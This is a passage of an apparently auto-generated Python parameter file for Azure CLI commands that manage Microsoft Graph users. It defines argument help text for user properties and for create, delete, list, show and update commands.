c.argument('business_phones', nargs='+', help='The telephone numbers for the user. NOTE: Although this is a '
'string collection, only one number can be set for this property.')
c.argument('city', type=str, help='The city in which the user is located. Supports $filter.')
c.argument('company_name', type=str, help='The company name which the user is associated. This property can be '
'useful for describing the company that an external user comes from. The maximum length of the '
'company name is 64 chararcters.Returned only on $select.')
c.argument('consent_provided_for_minor', type=str, help='Sets whether consent has been obtained for minors. '
'Allowed values: null, granted, denied and notRequired. Refer to the legal age group property '
'definitions for further information.')
c.argument('country', type=str, help='The country/region in which the user is located; for example, \'US\' or '
'\'UK\'. Supports $filter.')
c.argument('created_date_time', help='The created date of the user object.')
c.argument('creation_type', type=str, help='Indicates whether the user account was created as a regular school '
'or work account (null), an external account (Invitation), a local account for an Azure Active '
'Directory B2C tenant (LocalAccount) or self-service sign-up using email verification '
'(EmailVerified). Read-only.')
c.argument('department', type=str, help='The name for the department in which the user works. Supports '
'$filter.')
c.argument('display_name', type=str, help='The name displayed in the address book for the user. This is '
'usually the combination of the user\'s first name, middle initial and last name. This property is '
'required when a user is created and it cannot be cleared during updates. Supports $filter and '
'$orderby.')
c.argument('employee_id', type=str, help='The employee identifier assigned to the user by the organization. '
'Supports $filter.')
c.argument('external_user_state', type=str, help='For an external user invited to the tenant using the '
'invitation API, this property represents the invited user\'s invitation status. For invited users, '
'the state can be PendingAcceptance or Accepted, or null for all other users. Returned only on '
'$select. Supports $filter with the supported values. For example: $filter=externalUserState eq '
'\'PendingAcceptance\'.')
c.argument('external_user_state_change_date_time', help='Shows the timestamp for the latest change to the '
'externalUserState property. Returned only on $select.')
c.argument('fax_number', type=str, help='The fax number of the user.')
c.argument('given_name', type=str, help='The given name (first name) of the user. Supports $filter.')
c.argument('identities', action=AddIdentities, nargs='+', help='Represents the identities that can be used to '
'sign in to this user account. An identity can be provided by Microsoft (also known as a local '
'account), by organizations, or by social identity providers such as Facebook, Google, and '
'Microsoft, and tied to a user account. May contain multiple items with the same signInType value. '
'Supports $filter.')
c.argument('im_addresses', nargs='+', help='The instant message voice over IP (VOIP) session initiation '
'protocol (SIP) addresses for the user. Read-only.')
c.argument('is_resource_account', arg_type=get_three_state_flag(),
help='Do not use – reserved for future use.')
c.argument('job_title', type=str, help='The user’s job title. Supports $filter.')
c.argument('last_password_change_date_time', help='The time when this Azure AD user last changed their '
'password. The date and time information uses ISO 8601 format and is always in UTC time. For '
'example, midnight UTC on Jan 1, 2014 would look like this: \'2014-01-01T00:00:00Z\'')
c.argument('legal_age_group_classification', type=str, help='Used by enterprise applications to determine the '
'legal age group of the user. This property is read-only and calculated based on ageGroup and '
'consentProvidedForMinor properties. Allowed values: null, minorWithOutParentalConsent, '
'minorWithParentalConsent, minorNoParentalConsentRequired, notAdult and adult. Refer to the legal '
'age group property definitions for further information.)')
c.argument('license_assignment_states', action=AddLicenseAssignmentStates, nargs='+', help='State of license '
'assignments for this user. Read-only.')
c.argument('mail', type=str, help='The SMTP address for the user, for example, \'jeff@contoso.onmicrosoft.com\''
'. Supports $filter.')
c.argument('mail_nickname', type=str, help='The mail alias for the user. This property must be specified when '
'a user is created. Supports $filter.')
c.argument('mobile_phone', type=str, help='The primary cellular telephone number for the user.')
c.argument('office_location', type=str, help='The office location in the user\'s place of business.')
c.argument('on_premises_distinguished_name', type=str, help='Contains the on-premises Active Directory '
'distinguished name or DN. The property is only populated for customers who are synchronizing their '
'on-premises directory to Azure Active Directory via Azure AD Connect. Read-only.')
c.argument('on_premises_domain_name', type=str, help='Contains the on-premises domainFQDN, also called '
'dnsDomainName synchronized from the on-premises directory. The property is only populated for '
'customers who are synchronizing their on-premises directory to Azure Active Directory via Azure AD '
'Connect. Read-only.')
c.argument('on_premises_extension_attributes', action=AddOnPremisesExtensionAttributes, nargs='+',
help='onPremisesExtensionAttributes')
c.argument('on_premises_immutable_id', type=str, help='This property is used to associate an on-premises '
'Active Directory user account to their Azure AD user object. This property must be specified when '
'creating a new user account in the Graph if you are using a federated domain for the user’s '
'userPrincipalName (UPN) property. Important: The $ and _ characters cannot be used when specifying '
'this property. Supports $filter.')
c.argument('on_premises_last_sync_date_time', help='Indicates the last time at which the object was synced '
'with the on-premises directory; for example: \'2013-02-16T03:04:54Z\'. The Timestamp type '
'represents date and time information using ISO 8601 format and is always in UTC time. For example, '
'midnight UTC on Jan 1, 2014 would look like this: \'2014-01-01T00:00:00Z\'. Read-only.')
c.argument('on_premises_provisioning_errors', action=AddOnPremisesProvisioningErrors, nargs='+', help='Errors '
'when using Microsoft synchronization product during provisioning.')
c.argument('on_premises_sam_account_name', type=str, help='Contains the on-premises samAccountName '
'synchronized from the on-premises directory. The property is only populated for customers who are '
'synchronizing their on-premises directory to Azure Active Directory via Azure AD Connect. '
'Read-only.')
c.argument('on_premises_security_identifier', type=str, help='Contains the on-premises security identifier '
'(SID) for the user that was synchronized from on-premises to the cloud. Read-only.')
c.argument('on_premises_sync_enabled', arg_type=get_three_state_flag(), help='true if this object is synced '
'from an on-premises directory; false if this object was originally synced from an on-premises '
'directory but is no longer synced; null if this object has never been synced from an on-premises '
'directory (default). Read-only')
c.argument('on_premises_user_principal_name', type=str, help='Contains the on-premises userPrincipalName '
'synchronized from the on-premises directory. The property is only populated for customers who are '
'synchronizing their on-premises directory to Azure Active Directory via Azure AD Connect. '
'Read-only.')
c.argument('other_mails', nargs='+', help='A list of additional email addresses for the user; for example: '
'[\'bob@contoso.com\', \'Robert@fabrikam.com\']. Supports $filter.')
c.argument('password_policies', type=str, help='Specifies password policies for the user. This value is an '
'enumeration with one possible value being \'DisableStrongPassword\', which allows weaker passwords '
'than the default policy to be specified. \'DisablePasswordExpiration\' can also be specified. The '
'two may be specified together; for example: \'DisablePasswordExpiration, DisableStrongPassword\'.')
c.argument('password_profile', action=AddPasswordProfile, nargs='+', help='passwordProfile')
c.argument('postal_code', type=str, help='The postal code for the user\'s postal address. The postal code is '
'specific to the user\'s country/region. In the United States of America, this attribute contains '
'the ZIP code.')
c.argument('preferred_language', type=str, help='The preferred language for the user. Should follow ISO 639-1 '
'Code; for example \'en-US\'.')
c.argument('provisioned_plans', action=AddProvisionedPlans, nargs='+', help='The plans that are provisioned '
'for the user. Read-only. Not nullable.')
c.argument('proxy_addresses', nargs='+', help='For example: [\'SMTP: bob@contoso.com\', \'smtp: '
'bob@sales.contoso.com\'] The any operator is required for filter expressions on multi-valued '
'properties. Read-only, Not nullable. Supports $filter.')
c.argument('show_in_address_list', arg_type=get_three_state_flag(), help='true if the Outlook global address '
'list should contain this user, otherwise false. If not set, this will be treated as true. For '
'users invited through the invitation manager, this property will be set to false.')
c.argument('sign_in_sessions_valid_from_date_time', help='Any refresh tokens or sessions tokens (session '
'cookies) issued before this time are invalid, and applications will get an error when using an '
'invalid refresh or sessions token to acquire a delegated access token (to access APIs such as '
'Microsoft Graph). If this happens, the application will need to acquire a new refresh token by '
'making a request to the authorize endpoint. Read-only. Use revokeSignInSessions to reset.')
c.argument('state', type=str, help='The state or province in the user\'s address. Supports $filter.')
c.argument('street_address', type=str, help='The street address of the user\'s place of business.')
c.argument('surname', type=str, help='The user\'s surname (family name or last name). Supports $filter.')
c.argument('usage_location', type=str, help='A two letter country code (ISO standard 3166). Required for users '
'that will be assigned licenses due to legal requirement to check for availability of services in '
'countries. Examples include: \'US\', \'JP\', and \'GB\'. Not nullable. Supports $filter.')
c.argument('user_principal_name', type=str, help='The user principal name (UPN) of the user. The UPN is an '
'Internet-style login name for the user based on the Internet standard RFC 822. By convention, this '
'should map to the user\'s email name. The general format is alias@domain, where domain must be '
'present in the tenant’s collection of verified domains. This property is required when a user is '
'created. The verified domains for the tenant can be accessed from the verifiedDomains property of '
'organization. Supports $filter and $orderby.')
c.argument('user_type', type=str, help='A string value that can be used to classify user types in your '
'directory, such as \'Member\' and \'Guest\'. Supports $filter.')
c.argument('device_enrollment_limit', type=int, help='The limit on the maximum number of devices that the user '
'is permitted to enroll. Allowed values are 5 or 1000.')
c.argument('about_me', type=str, help='A freeform text entry field for the user to describe themselves.')
c.argument('birthday', help='The birthday of the user. The Timestamp type represents date and time information '
'using ISO 8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would '
'look like this: \'2014-01-01T00:00:00Z\'')
c.argument('hire_date', help='The hire date of the user. The Timestamp type represents date and time '
'information using ISO 8601 format and is always in UTC time. For example, midnight UTC on Jan 1, '
'2014 would look like this: \'2014-01-01T00:00:00Z\'')
c.argument('interests', nargs='+', help='A list for the user to describe their interests.')
c.argument('my_site', type=str, help='The URL for the user\'s personal site.')
c.argument('past_projects', nargs='+', help='A list for the user to enumerate their past projects.')
c.argument('preferred_name', type=str, help='The preferred name for the user.')
c.argument('responsibilities', nargs='+', help='A list for the user to enumerate their responsibilities.')
c.argument('schools', nargs='+', help='A list for the user to enumerate the schools they have attended.')
c.argument('skills', nargs='+', help='A list for the user to enumerate their skills.')
c.argument('app_role_assignments', action=AddAppRoleAssignments, nargs='+', help='')
c.argument('created_objects', action=AddCreatedObjects, nargs='+', help='Directory objects that were created '
'by the user. Read-only. Nullable.')
c.argument('direct_reports', action=AddDirectReports, nargs='+', help='The users and contacts that report to '
'the user. (The users and contacts that have their manager property set to this user.) Read-only. '
'Nullable.')
c.argument('license_details', action=AddLicenseDetails, nargs='+', help='A collection of this user\'s license '
'details. Read-only.')
c.argument('manager', action=AddManager, nargs='+', help='Represents an Azure Active Directory object. The '
'directoryObject type is the base type for many other directory entity types.')
c.argument('member_of', action=AddMemberOf, nargs='+', help='The groups and directory roles that the user is a '
'member of. Read-only. Nullable.')
c.argument('oauth2_permission_grants', action=AddOauth2PermissionGrants, nargs='+', help='')
c.argument('owned_devices', action=AddOwnedDevices, nargs='+', help='Devices that are owned by the user. '
'Read-only. Nullable.')
c.argument('owned_objects', action=AddOwnedObjects, nargs='+', help='Directory objects that are owned by the '
'user. Read-only. Nullable.')
c.argument('registered_devices', action=AddRegisteredDevices, nargs='+', help='Devices that are registered for '
'the user. Read-only. Nullable.')
c.argument('scoped_role_member_of', type=validate_file_or_dict,
help=' Expected value: json-string/@json-file.')
c.argument('transitive_member_of', action=AddTransitiveMemberOf, nargs='+', help='')
c.argument('calendar', type=validate_file_or_dict, help='calendar Expected value: json-string/@json-file.')
c.argument('calendar_groups', type=validate_file_or_dict, help='The user\'s calendar groups. Read-only. '
'Nullable. Expected value: json-string/@json-file.')
c.argument('calendars', type=validate_file_or_dict, help='The user\'s calendars. Read-only. Nullable. Expected '
'value: json-string/@json-file.')
c.argument('calendar_view', type=validate_file_or_dict, help='The calendar view for the calendar. Read-only. '
'Nullable. Expected value: json-string/@json-file.')
c.argument('contact_folders', type=validate_file_or_dict, help='The user\'s contacts folders. Read-only. '
'Nullable. Expected value: json-string/@json-file.')
c.argument('contacts', type=validate_file_or_dict, help='The user\'s contacts. Read-only. Nullable. Expected '
'value: json-string/@json-file.')
c.argument('events', type=validate_file_or_dict, help='The user\'s events. Default is to show Events under the '
'Default Calendar. Read-only. Nullable. Expected value: json-string/@json-file.')
c.argument('mail_folders', type=validate_file_or_dict, help='The user\'s mail folders. Read-only. Nullable. '
'Expected value: json-string/@json-file.')
c.argument('messages', type=validate_file_or_dict, help='The messages in a mailbox or folder. Read-only. '
'Nullable. Expected value: json-string/@json-file.')
c.argument('people', type=validate_file_or_dict, help='People that are relevant to the user. Read-only. '
'Nullable. Expected value: json-string/@json-file.')
c.argument('photo', action=AddPhoto, nargs='+', help='profilePhoto')
c.argument('photos', action=AddPhotos, nargs='+', help='')
c.argument('drive', type=validate_file_or_dict, help='drive Expected value: json-string/@json-file.')
c.argument('drives', type=validate_file_or_dict, help='A collection of drives available for this user. '
'Read-only. Expected value: json-string/@json-file.')
c.argument('followed_sites', type=validate_file_or_dict, help=' Expected value: json-string/@json-file.')
c.argument('extensions', action=AddExtensions, nargs='+', help='The collection of open extensions defined for '
'the user. Read-only. Nullable.')
c.argument('managed_devices', type=validate_file_or_dict, help='The managed devices associated with the user. '
'Expected value: json-string/@json-file.')
c.argument('managed_app_registrations', type=validate_file_or_dict, help='Zero or more managed app '
'registrations that belong to the user. Expected value: json-string/@json-file.')
c.argument('device_management_troubleshooting_events', action=AddDeviceManagementTroubleshootingEvents,
nargs='+', help='The list of troubleshooting events for this user.')
c.argument('activities', type=validate_file_or_dict, help='The user\'s activities across devices. Read-only. '
'Nullable. Expected value: json-string/@json-file.')
c.argument('online_meetings', type=validate_file_or_dict, help=' Expected value: json-string/@json-file.')
c.argument('joined_teams', type=validate_file_or_dict, help=' Expected value: json-string/@json-file.')
c.argument('microsoft_graph_entity_id', type=str, help='Read-only.', arg_group='Onenote')
c.argument('notebooks', type=validate_file_or_dict, help='The collection of OneNote notebooks that are owned '
'by the user or group. Read-only. Nullable. Expected value: json-string/@json-file.',
arg_group='Onenote')
c.argument('operations', type=validate_file_or_dict, help='The status of OneNote operations. Getting an '
'operations collection is not supported, but you can get the status of long-running operations if '
'the Operation-Location header is returned in the response. Read-only. Nullable. Expected value: '
'json-string/@json-file.', arg_group='Onenote')
c.argument('pages', type=validate_file_or_dict, help='The pages in all OneNote notebooks that are owned by the '
'user or group. Read-only. Nullable. Expected value: json-string/@json-file.',
arg_group='Onenote')
c.argument('resources', action=AddResources, nargs='+', help='The image and other file resources in OneNote '
'pages. Getting a resources collection is not supported, but you can get the binary content of a '
'specific resource. Read-only. Nullable.', arg_group='Onenote')
c.argument('section_groups', type=validate_file_or_dict, help='The section groups in all OneNote notebooks '
'that are owned by the user or group. Read-only. Nullable. Expected value: json-string/@json-file.',
arg_group='Onenote')
c.argument('sections', type=validate_file_or_dict, help='The sections in all OneNote notebooks that are owned '
'by the user or group. Read-only. Nullable. Expected value: json-string/@json-file.',
arg_group='Onenote')
c.argument('id1', type=str, help='Read-only.', arg_group='Settings')
c.argument('contribution_to_content_discovery_as_organization_disabled', arg_type=get_three_state_flag(),
help='', arg_group='Settings')
c.argument('contribution_to_content_discovery_disabled', arg_type=get_three_state_flag(), help='',
arg_group='Settings')
c.argument('id2', type=str, help='Read-only.', arg_group='Settings Shift Preferences')
c.argument('microsoft_graph_change_tracked_entity_created_date_time_created_date_time', help='The Timestamp '
'type represents date and time information using ISO 8601 format and is always in UTC time. For '
'example, midnight UTC on Jan 1, 2014 would look like this: \'2014-01-01T00:00:00Z\'',
arg_group='Settings Shift Preferences')
c.argument('last_modified_date_time', help='The Timestamp type represents date and time information using ISO '
'8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like '
'this: \'2014-01-01T00:00:00Z\'', arg_group='Settings Shift Preferences')
c.argument('application', action=AddApplication, nargs='+', help='identity', arg_group='Settings Shift '
'Preferences Last Modified By')
c.argument('device', action=AddApplication, nargs='+', help='identity', arg_group='Settings Shift Preferences '
'Last Modified By')
c.argument('user', action=AddApplication, nargs='+', help='identity', arg_group='Settings Shift Preferences '
'Last Modified By')
c.argument('availability', type=validate_file_or_dict, help='Availability of the user to be scheduled for work '
'and its recurrence pattern. Expected value: json-string/@json-file.', arg_group='Settings Shift '
'Preferences')
c.argument('id3', type=str, help='Read-only.', arg_group='Insights')
c.argument('shared', type=validate_file_or_dict, help='Calculated relationship identifying documents shared '
'with or by the user. This includes URLs, file attachments, and reference attachments to OneDrive '
'for Business and SharePoint files found in Outlook messages and meetings. This also includes URLs '
'and reference attachments to Teams conversations. Ordered by recency of share. Expected value: '
'json-string/@json-file.', arg_group='Insights')
c.argument('trending', type=validate_file_or_dict, help='Calculated relationship identifying documents '
'trending around a user. Trending documents are calculated based on activity of the user\'s closest '
'network of people and include files stored in OneDrive for Business and SharePoint. Trending '
'insights help the user to discover potentially useful content that the user has access to, but has '
'never viewed before. Expected value: json-string/@json-file.', arg_group='Insights')
c.argument('used', type=validate_file_or_dict, help='Calculated relationship identifying the latest documents '
'viewed or modified by a user, including OneDrive for Business and SharePoint documents, ranked by '
'recency of use. Expected value: json-string/@json-file.', arg_group='Insights')
c.argument('id4', type=str, help='Read-only.', arg_group='Planner')
c.argument('plans', type=validate_file_or_dict, help='Read-only. Nullable. Returns the plannerTasks assigned '
'to the user. Expected value: json-string/@json-file.', arg_group='Planner')
c.argument('tasks', type=validate_file_or_dict, help='Read-only. Nullable. Returns the plannerPlans shared '
'with the user. Expected value: json-string/@json-file.', arg_group='Planner')
c.argument('id5', type=str, help='Read-only.', arg_group='Outlook')
c.argument('master_categories', action=AddMasterCategories, nargs='+', help='A list of categories defined for '
'the user.', arg_group='Outlook')
c.argument('id6', type=str, help='Read-only.', arg_group='Inference Classification')
c.argument('overrides', type=validate_file_or_dict, help='A set of overrides for a user to always classify '
'messages from specific senders in certain ways: focused, or other. Read-only. Nullable. Expected '
'value: json-string/@json-file.', arg_group='Inference Classification')
c.argument('archive_folder', type=str, help='Folder ID of an archive folder for the user.', arg_group='Mailbox '
'Settings')
c.argument('automatic_replies_setting', type=validate_file_or_dict, help='automaticRepliesSetting Expected '
'value: json-string/@json-file.', arg_group='Mailbox Settings')
c.argument('date_format', type=str, help='The date format for the user\'s mailbox.', arg_group='Mailbox '
'Settings')
c.argument('delegate_meeting_message_delivery_options', arg_type=get_enum_type([
'sendToDelegateAndInformationToP'
'rincipal',
'sendToDelegateAndPrincipal',
'sendToDelegateOnly']),
help='delegateMeetingMessageDeliveryOptions', arg_group='Mailbox Settings')
c.argument('language', action=AddLanguage, nargs='+', help='localeInfo', arg_group='Mailbox Settings')
c.argument('time_format', type=str, help='The time format for the user\'s mailbox.', arg_group='Mailbox '
'Settings')
c.argument('time_zone', type=str, help='The default time zone for the user\'s mailbox.', arg_group='Mailbox '
'Settings')
c.argument('working_hours', type=validate_file_or_dict, help='workingHours Expected value: '
'json-string/@json-file.', arg_group='Mailbox Settings')
with self.argument_context('users user delete') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('if_match', type=str, help='ETag')
with self.argument_context('users user create-extension') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('id_', options_list=['--id'], type=str, help='Read-only.')
with self.argument_context('users user create-license-detail') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('id_', options_list=['--id'], type=str, help='Read-only.')
c.argument('service_plans', action=AddServicePlans, nargs='+', help='Information about the service plans '
'assigned with the license. Read-only, Not nullable')
c.argument('sku_id', help='Unique identifier (GUID) for the service SKU. Equal to the skuId property on the '
'related SubscribedSku object. Read-only')
c.argument('sku_part_number', type=str, help='Unique SKU display name. Equal to the skuPartNumber on the '
'related SubscribedSku object; for example: \'AAD_Premium\'. Read-only')
with self.argument_context('users user create-photo') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('id_', options_list=['--id'], type=str, help='Read-only.')
c.argument('height', type=int, help='The height of the photo. Read-only.')
c.argument('width', type=int, help='The width of the photo. Read-only.')
with self.argument_context('users user create-ref-created-object') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('body', type=validate_file_or_dict, help='New navigation property ref value Expected value: '
'json-string/@json-file.')
with self.argument_context('users user create-ref-direct-report') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('body', type=validate_file_or_dict, help='New navigation property ref value Expected value: '
'json-string/@json-file.')
with self.argument_context('users user create-ref-member-of') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('body', type=validate_file_or_dict, help='New navigation property ref value Expected value: '
'json-string/@json-file.')
with self.argument_context('users user create-ref-oauth2-permission-grant') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('body', type=validate_file_or_dict, help='New navigation property ref value Expected value: '
'json-string/@json-file.')
with self.argument_context('users user create-ref-owned-device') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('body', type=validate_file_or_dict, help='New navigation property ref value Expected value: '
'json-string/@json-file.')
with self.argument_context('users user create-ref-owned-object') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('body', type=validate_file_or_dict, help='New navigation property ref value Expected value: '
'json-string/@json-file.')
with self.argument_context('users user create-ref-registered-device') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('body', type=validate_file_or_dict, help='New navigation property ref value Expected value: '
'json-string/@json-file.')
with self.argument_context('users user create-ref-transitive-member-of') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('body', type=validate_file_or_dict, help='New navigation property ref value Expected value: '
'json-string/@json-file.')
with self.argument_context('users user delete-extension') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('extension_id', type=str, help='key: id of extension')
c.argument('if_match', type=str, help='ETag')
with self.argument_context('users user delete-license-detail') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('license_details_id', type=str, help='key: id of licenseDetails')
c.argument('if_match', type=str, help='ETag')
with self.argument_context('users user delete-outlook') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('if_match', type=str, help='ETag')
with self.argument_context('users user delete-photo') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('profile_photo_id', type=str, help='key: id of profilePhoto')
c.argument('if_match', type=str, help='ETag')
with self.argument_context('users user delete-ref-manager') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('if_match', type=str, help='ETag')
with self.argument_context('users user delete-setting') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('if_match', type=str, help='ETag')
with self.argument_context('users user list-created-object') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user list-direct-report') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user list-extension') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user list-license-detail') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user list-member-of') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user list-oauth2-permission-grant') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user list-owned-device') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user list-owned-object') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user list-photo') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user list-ref-created-object') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
with self.argument_context('users user list-ref-direct-report') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
with self.argument_context('users user list-ref-member-of') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
with self.argument_context('users user list-ref-oauth2-permission-grant') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
with self.argument_context('users user list-ref-owned-device') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
with self.argument_context('users user list-ref-owned-object') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
with self.argument_context('users user list-ref-registered-device') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
with self.argument_context('users user list-ref-transitive-member-of') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
with self.argument_context('users user list-registered-device') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user list-transitive-member-of') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('orderby', nargs='+', help='Order items by property values')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user set-ref-manager') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('body', type=validate_file_or_dict, help='New navigation property ref values Expected value: '
'json-string/@json-file.')
with self.argument_context('users user show-extension') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('extension_id', type=str, help='key: id of extension')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user show-license-detail') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('license_details_id', type=str, help='key: id of licenseDetails')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user show-manager') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user show-outlook') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user show-photo') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('profile_photo_id', type=str, help='key: id of profilePhoto')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user show-ref-manager') as c:
c.argument('user_id', type=str, help='key: id of user')
with self.argument_context('users user show-setting') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user update-extension') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('extension_id', type=str, help='key: id of extension')
c.argument('id_', options_list=['--id'], type=str, help='Read-only.')
with self.argument_context('users user update-license-detail') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('license_details_id', type=str, help='key: id of licenseDetails')
c.argument('id_', options_list=['--id'], type=str, help='Read-only.')
c.argument('service_plans', action=AddServicePlans, nargs='+', help='Information about the service plans '
'assigned with the license. Read-only, Not nullable')
c.argument('sku_id', help='Unique identifier (GUID) for the service SKU. Equal to the skuId property on the '
'related SubscribedSku object. Read-only')
c.argument('sku_part_number', type=str, help='Unique SKU display name. Equal to the skuPartNumber on the '
'related SubscribedSku object; for example: \'AAD_Premium\'. Read-only')
with self.argument_context('users user update-outlook') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('id_', options_list=['--id'], type=str, help='Read-only.')
c.argument('master_categories', action=AddMasterCategories, nargs='+', help='A list of categories defined for '
'the user.')
with self.argument_context('users user update-photo') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('profile_photo_id', type=str, help='key: id of profilePhoto')
c.argument('id_', options_list=['--id'], type=str, help='Read-only.')
c.argument('height', type=int, help='The height of the photo. Read-only.')
c.argument('width', type=int, help='The width of the photo. Read-only.')
with self.argument_context('users user update-setting') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('id_', options_list=['--id'], type=str, help='Read-only.')
c.argument('contribution_to_content_discovery_as_organization_disabled', arg_type=get_three_state_flag(),
help='')
c.argument('contribution_to_content_discovery_disabled', arg_type=get_three_state_flag(), help='')
c.argument('microsoft_graph_entity_id', type=str, help='Read-only.', arg_group='Shift Preferences')
c.argument('created_date_time', help='The Timestamp type represents date and time information using ISO 8601 '
'format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like this: '
'\'2014-01-01T00:00:00Z\'', arg_group='Shift Preferences')
c.argument('last_modified_date_time', help='The Timestamp type represents date and time information using ISO '
'8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like '
'this: \'2014-01-01T00:00:00Z\'', arg_group='Shift Preferences')
c.argument('application', action=AddApplication, nargs='+', help='identity', arg_group='Shift Preferences Last '
'Modified By')
c.argument('device', action=AddApplication, nargs='+', help='identity', arg_group='Shift Preferences Last '
'Modified By')
c.argument('user', action=AddApplication, nargs='+', help='identity', arg_group='Shift Preferences Last '
'Modified By')
c.argument('availability', type=validate_file_or_dict, help='Availability of the user to be scheduled for work '
'and its recurrence pattern. Expected value: json-string/@json-file.',
arg_group='Shift Preferences')
with self.argument_context('users user-outlook create-master-category') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('id_', options_list=['--id'], type=str, help='Read-only.')
c.argument('color', arg_type=get_enum_type(['preset0', 'preset1', 'none', 'preset2', 'preset3', 'preset4',
'preset5', 'preset6', 'preset7', 'preset8', 'preset9', 'preset10',
'preset11', 'preset12', 'preset13', 'preset14', 'preset15',
'preset16', 'preset17', 'preset18', 'preset19', 'preset20',
'preset21', 'preset22', 'preset23', 'preset24']),
help='categoryColor')
c.argument('display_name', type=str, help='A unique name that identifies a category in the user\'s mailbox. '
'After a category is created, the name cannot be changed. Read-only.')
with self.argument_context('users user-outlook delete-master-category') as c:
c.argument('user_id', type=str, help='key: id of user')
